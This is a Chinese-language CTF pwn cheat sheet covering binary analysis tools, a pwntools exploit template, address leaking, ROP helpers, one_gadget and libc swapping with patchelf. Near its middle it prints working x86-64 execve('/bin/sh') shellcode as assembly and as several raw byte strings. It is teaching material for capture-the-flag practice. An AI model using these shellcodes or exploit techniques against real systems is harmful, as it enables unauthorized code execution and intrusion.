相关术语

名称解释
exploit(简称 exp)用于攻击的脚本与方案
payload攻击载荷,是对目标进程劫持控制流的数据
shellcode调用攻击目标的 shell 的代码

问:poc 与 exp 有什么区别?
在 CVE 漏洞中通常出现 poc,poc 与 exp 类似,但是 poc 只是一种证明,证明存在 CVE 漏洞即可,而 exp 是需要攻击漏洞达成特定的目的


分析二进制程序

  1. 查看二进制文件类型
file 文件名

CTF - Pwn_文件保护机制1.png

  1. 查看程序保护
checksec 文件名

CTF - Pwn_文件保护机制2.png

  1. 查看 ELF 格式的文件信息,可详细显示各程序段的信息
readelf -a 文件名

CTF - Pwn_文件保护机制3.png

其他参数可使用 readelf -h 查看

  1. 查看二进制程序的符号表
nm 文件名 | less

CTF - Pwn_文件保护机制4.png

  1. 查看二进制文件的十六进制编码
hexdump 文件名 | less

CTF - Pwn_文件保护机制5.png

  1. 查看程序 glibc 版本和位置
ldd 文件名

CTF - Pwn_文件保护机制6.png

ldd 不是一个可执行程序,而是通过 ld-linux.so (ELF 动态库的装载器) 来实现的


exp 编写

exp 就是我们用于漏洞攻击的整个脚本,一个脚本中可能会涉及到多个漏洞的利用,每一个漏洞构造一个 payload 进行利用

exp 脚本模板

注意养成好的书写习惯(适用于 python 11 及以下版本,在 python 12 中需有所改动

from pwn import *

# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='amd64', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 1

if content == 1:
    # 将本地的 Linux 程序启动为进程 io
    io = process("")
else:
    # 远程程序的 IP 和端口号
    io = remote("", )


# 附加 gdb 调试
def debug(cmd=""):
    if content == 1:  # 只有本地才可调试,远程无法调试
        gdb.attach(io, cmd)
        pause()


# 与远程交互
io.interactive()

如果 exp.py 可以 PWN 通,会显示 [*] Switching to interactive mode,并且可以进入 shell 正常使用终端命令

如果显示 [*] Got EOF while reading in interactive ,则说明 PWN 失败了


exp 编写技巧

获取函数地址

获取 elf 文件中某个已知函数名的函数地址

elf = ELF("./test")   # 程序路径
system_addr = elf.symbols["callsystem"]   # system_addr 为程序 test 中函数 "callsystem" 的地址

获取字符串地址

获取 elf 文件中字符串的地址

elf = ELF("./test")   # 程序路径
bin_sh_addr = next(elf.search(b'/bin/sh'))  # bin_sh_addr 为程序 test 中字符串 "/bin/sh" 所在地址

python3 里字符串前面必须加上 b'xxx',否则找的是 str 对象,而不是字节数据


接收程序输出的地址

获取程序的输出信息,并将其转换为十六进制数据(获取函数的真实地址)

直接获取一行的输出内容:

io.recvuntil(b'But there is gift for you :\n')   # 屏幕输出信息
addr = int(io.recvuntil(b'\n', drop=b'\n'), 16)   # 接收直到 \n 为止的输出内容,并将其转换为十六进制 int 型,最后赋值给 addr

也可以指定获取的内容长度:

addr = int(io.recv()[2:10], 16)   # 32 位程序:接收输出内容的 2 ~ 9 位(从 0 开始),并将其转换为十六进制 int 型,最后赋值给 addr

addr = int(io.recv()[2:14], 16)   # 64 位程序:接收输出内容的 2 ~ 13 位(从 0 开始),并将其转换为十六进制 int 型,最后赋值给 addr

根据程序架构,32 位地址长度为 4 字节,64 位地址长度为 8 字节,也可以直接根据长度获取地址:

addr = u32(io.recv(4))   # 32 位程序的地址
addr = u64(io.recv(8))   # 64 位程序的地址

addr = u32(io.recv(2).ljust(4, b'\x00'))   # 32 位程序的地址
addr = u64(io.recv(6).ljust(8, b'\x00'))   # 64 位程序的地址

addr = u32(io.recvuntil(b'\x7f')[-2:].ljust(4, b'\x00'))   # 32 位程序的地址
addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))   # 64 位程序的地址

注意,函数的地址也可以在 IDA 中直接看到,但是如果程序开启了 PIE(地址随机化),即:每次输出到屏幕的地址信息不一样,则不能采取直接查看 IDA 中的地址并进行赋值,只能使用从屏幕获取程序输出数据的方法


附加 gdb 调试

在 exp 中启动 gdb 调试二进制程序

gdb.attach(io)   # 使用 gdb 调试二进制程序的进程 io
pause()   # 暂停执行后续的 exp 代码, 按任意键继续, 便于调试

也可以通过 io.process() 启动程序进程后,观察进程 pid,然后手动通过 gdb attach pid 来调试进程

这两条指令需要一起使用,gdb.attach(io) 之后必须加上 pause() ,否则启动 gdb 后 exp 脚本还会继续往下执行,并不会停在 gdb.attach(io) 的地方

一般可以在发送 payload 之前 pause(),这样 gdb 调试时内存中还没有我们发送的数据,等我们分析完后,按任意键让 python 脚本继续执行发送 payload,就又可以分析发送 payload 后的程序了,方便我们观察 payload 对程序的影响

为方便使用,编写成 debug() 调试函数如下:

def debug(cmd=""):
    if content == 1:   # 只有本地才可调试,远程无法调试
        gdb.attach(io, cmd)
        pause()

执行 C 语言函数

使 Python 编写的 exp 脚本可以执行 C 语言的函数

from ctypes import *   # 导入 ctypes 库使 Python 可以执行 C 语言的函数


lib = cdll.LoadLibrary("libc.so.6")   # 导入 C 运行库

# ------------------------------------

# 以 C 语言随机数为例:
lib.srand(1)   # 设置随机数种子
lib.rand() % 6 + 1   # 执行随机函数

指定程序的 libc

在 exp 中指定二进制程序的 libc

io = process(['替换的新ld(可选)', '二进制程序'], env={'LD_PRELOAD': '替换的新libc'})

一个程序启动需要用到 ld.so 和 libc.so 文件,调用哪个 ld.so 和 libc.so 在程序中是指明的

如果使用的 ld.so 和 libc.so 版本不匹配,直接调用 LD_PRELOAD 会使程序崩溃

因此,在使用特定版本的 libc 的时候,还要替换掉对应的 ld.so


随机输入数据测试溢出

生成 200 个随机字符序列:

(gdb) cyclic 200

将随机字符序列输入程序后,报错:

*EIP 0x62616164 ('daab')
Invalid address 0x62616164

说明输入的随机字符数列导致程序溢出,覆盖了返回地址,EIP 在地址 0x62616164 处

计算覆盖返回地址所需的输入偏移量:

(gdb) cyclic -l 0x62616164

或者使用 pdistance 也可以达到同样效果 (假设两个地址为 address1 和 address 2):

(gdb) p address1-address2
(gdb) distance address1 address2

获取 shell 的方式

获取 shell 常用的三种方式:

system("/bin/sh\x00")

system("sh\x00")

system("$0\x00")

Pwntools

连接程序和端口

语句意义
io = porcess(“本地文件路径”)本地连接
io = remote(“ip 地址”, 端口)远程连接
io.close()关闭连接

发送 payload

语句意义
io.sendafter(some_string, payload)接收到 some_string 后,发送你的 payload
io.sendlineafter(some_string, payload)接收到 some_string 后,发送你的 payload,并进行换行(末尾 \n)
io.send(payload)发送 payload
io.sendline(payload)发送 payload,并进行换行(末尾 \n)

接收返回内容

语句意义
io.recv(N)接收 N 个字符
io.recvline()直接接收一整行的输出
io.recvlines(N)接收 N 个行的输出
io.recvuntil(some_string)接收到 some_string 为止
io.recvuntil(“\n”, drop=True)接收到 “\n” 为止,并且丢弃 “\n”
int(io.recv(10), 16)接收返回内容,长度是10,以将其转换为十六进制的数值
int(io.recv()[2:14], 16)接收返回内容的第 2 ~ 14 位(从 0 开始),并将其转换为十六进制的数值
语句意义
io.interactive()直接进行交互,相当于回到 shell 的模式,一般在取得 shell 之后使用

ELF 文件操作

首先需要 elf = ELF("本地文件路径") 创建一个对象

语句意义
elf.symbols[“function”]找到 function 的地址
elf.got[“function”]找到 function 的 got
elf.plt[“function”]找到 function 的 plt
next(elf.search(b’some_characters’))找到包含 some_characters 的内容,可以是字符串、汇编代码或某个数值的地址
elf.bss())找到 bss 段地址

ROP 链

首先需要 rop = ROP("本地文件路径") 创建一个对象

语句意义
rop.raw(‘a’ * 32)在构造的 rop 链里面写32个 a
rop.call(‘read’ , (0 , elf.bss(0x80)))调用一个函数,可以简写成:rop.read(0,elf.bss(0x80))
rop.chain()就是整个 rop 链,发送的 payload
rop.dump()直观地展示当前的 rop 链
rop.migrate(base_stage)将程序流程转移到 base_stage(地址)
rop.unresolve(value)给出一个地址,反解析出符号
rop.search(regs=[‘ecx’ , ‘ebx’])搜索对 eax 进行操作的 gadget
rop.find_gadget([‘pop eax’ , ‘ret’])搜索 pop eax ret 这样的 gadget

Shellcode

当我们在获得程序的漏洞后,就可以在程序的漏洞处执行特定的代码,而这些能够获取到 shell 的 code 就是 shellcode

在漏洞利用过程时,我们将编制好的 shellcode 通过有问题的程序写入到内存中,然后执行它

shellcode 对应的 C 语言代码一般为:system("/bin/sh")

生成默认 shellcode

  1. 方法一:

    shellcode = asm(shellcraft.sh())  # 构造 shellcode
  2. 方法二:

    shellcode = asm(shellcraft.amd64.linux.sh())  # 构造 64 位 shellcode

这段代码有一个缺点,就是生成的 shellcode 比较长,在某些可写入空间比较小的情况下不能很好的使用
通常生成的 64 位 shellcode 长度为 0x30,32 位 shellcode 长度为 0x2c


手动编写 shellcode

shellcode 原理

  1. 在 linux 中,存在一系列的系统调用,这些系统调用都通过 syscall 指令来触发,并且通过 rax 寄存器作为系统调用号来区分不同的系统调用,可以查看 linux 下的 arch/x86/entry/syscall_64.tbl 获得对应的系统调用号。比如,execve(执行程序函数,类似于 Python 中的os.system 函数,可以调用其他程序的执行)对应的的系统调用号为 59

  2. 接着,通过 rdirsi 两个寄存器传入参数。其中,rdi 是指向运行程序的路径的指针,rsi 为一个指向 0 的指针,rdx 为 0

  3. 也就是说,整个过程应该完成:

rax = 59
rdi = ['/bin/sh']
rsi = [0]
rdx = 0
syscall
  1. 对应的汇编代码:
xor rdx,rdx
push rdx
mov rsi,rsp
mov rax,0x68732f2f6e69622f  // 0x68732f2f6e69622f 就是 '/bin/sh', 这里因为64位数据不能直接push,所以用了rax寄存器来传递
push rax
mov rdi,rsp
mov rax,59
syscall

手动编译 shellcode 使用

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
shellcode = '''
xor rdx,rdx;
push rdx;
mov rsi,rsp;
mov rax,0x68732f2f6e69622f;
push rax;
mov rdi,rsp;
mov rax,59;
syscall;
'''

shellcode = asm(shellcode)
# b'H1\xd2RH\x89\xe6H\xb8/bin//shPH\x89\xe7H\xc7\xc0;\x00\x00\x00\x0f\x05'

这样生成的 shellcode 就只有 0x1E,一般这种大小就足够了


其他可用 shellcode

以下两种 shellcode 长度都是 0x1E,共 30 个字节

此外,可以在此网站查阅更多版本的 shellcode:
Shellcodes database for study cases (shell-storm.org)

shellcode = b'\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05'

shellcode = b'\x48\x31\xC0\x6A\x3B\x58\x48\x31\xFF\x48\xBF\x2F\x62\x69\x6E\x2F\x73\x68\x00\x57\x54\x5F\x48\x31\xF6\x48\x31\xD2\x0F\x05'

以下 shellcode 长度为 0x17,共 23 字节

shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'

ROPgadget

栈溢出中 ROP 用来寻找 gadget 的利器,ROPgadget 安装 pwntools 时自带,无需另外安装

  1. 查找 popret 相关的 gadget 片段
ROPgadget --binary 二进制程序 --only 'pop|ret'

仅查找 eax、ebx 相关的 gadget 片段:

ROPgadget --binary 二进制程序 --only 'pop|ret' | grep 'eax'
ROPgadget --binary 二进制程序 --only 'pop|ret' | grep 'ebx'

仅查找 ret 指令:

ROPgadget --binary 文件名 --only 'ret'
  1. 查找 /bin/sh 字符串
ROPgadget --binary 二进制程序 --string "/bin/sh"
  1. 查找系统调用 syscall(64 位)和 int 0x80(32 位)的地址
ROPgadget --binary 文件名 --only 'syscall'
ROPgadget --binary 文件名 --only 'int'

objdump

objdump 是 Linux 下的反汇编工具,同时也是一个非常强大的二进制文件分析工具

基本已弃用,可以用 IDA 代替

  1. 反汇编应用程序
objdump -M intel -d 文件名

加上 -M intel 参数指定汇编代码为 intel 风格(默认为 AT&T

  1. 显示文件的头信息
objdump -f 文件名
  1. 显示文件的段信息
objdump -h 文件名
  1. 显示文件的符号表
objdump -t 文件名
  1. 显示指定 section 的完整内容,默认所有的非空 section 都会被显示
objdump -s 文件名

glibc-all-in-one 和 patchelf

ELF 文件在生成之后会把动态链接器和 libc 写死到 ELF 文件中,因此只要把 ld 改掉就可以将 ELF 文件链接到其他的 libc,进而加载不同的 libc

  1. 使用 glibc-all-in-onepatchelf 修改二进制程序的 GLIBC 版本

更新 glibc 版本:

cd /opt/glibc-all-in-one
sudo ./update_list   # 更新 glibc
cat list   # 查看各 Ubuntu 版本的 glibc

sudo ./download 2.27-3ubuntu1_amd64   # 下载所需的 glibc 版本, 以 2.27-3ubuntu1_amd64 为例

默认下载到 glibc-all-in-one 的 /libs 目录下

然后复制其中的 ld 文件和 libc 文件到 PWN 题程序目录中(可选,只是复制到 PWN 题程序目录中, ld 文件和 libc 文件的路径更简单,方便一点而已)

以 glibc-all-in-one 中下载的 2.27-3ubuntu1_amd64 下的 ld-2.27.solibc-2.27.so 为例

为了简化 libc 所在路径,可以生成符号链接(可选):

# 生成符号链接, 使 Ubuntu 的 /lib64/ld-2.27.so 指向 /glibc-all-in-one的路径/libs/2.27-3ubuntu1_amd64/ld-2.26.so, 以便动态链接器能够找到正确的文件并加载所需的共享库
sudo ln /glibc-all-in-one的路径/libs/2.27-3ubuntu1_amd64/ld-2.26.so /lib64/ld-2.27.so   # 64 位为 /lib64, 32 位为 /lib
# 查看生成的符号链接
ls -l

更改程序的 libc:

# 设置解释器
patchelf --set-interpreter 替换的新ld 二进制程序
# 设置 libc
patchelf --replace-needed 原来的libc 替换的新libc 二进制程序

如果不想手动设置 libc,也可以使用下面的方法直接指定文件夹(推荐):

# 设置解释器
patchelf --set-interpreter 替换的新ld 二进制程序
# 设置文件夹
patchelf --set-rpath 替换的新ld所在的文件夹 二进制程序

以一个具体的例子说明:

Pwntools与exp技巧-patchelf1.png

  1. 如果需要使用 gdb 进行调试查看堆栈的话,需要在 gdb 中设置 debug 文件夹

2.27-3ubuntu1_amd64 为例

glibc-all-in-one 中复制 .debug 文件夹到 PWN 题程序目录中

cp -r opt/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/.debug/ ./debug

在 gdb 中设置 debug 文件夹:

(gdb) set debug-file-directory debug/

one_gadget

one_gadget 是 libc 中存在的一些执行 execve("/bin/sh", NULL, NULL) 的片段,当可以泄露 libc 地址,并且可以知道 libc 版本的时候,可以使用此方法来快速控制指令寄存器开启 shell

相比于 system("/bin/sh"),这种方式更加方便,不用控制 RDIRSIRDX 等参数,运用于不利构造参数的情况

每条指令片段都有对应的使用限制,需要注意

使用方法:

one_gadget libc文件名

Pwntools与exp技巧-one_gadget1.png

同时要注意 one_gadget 的使用条件

在每一个可以利用的 execve("/bin/sh", NULL, NULL) 片段后都有一个 constraints 作为约束条件:

constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

使用的时候多尝试几个就行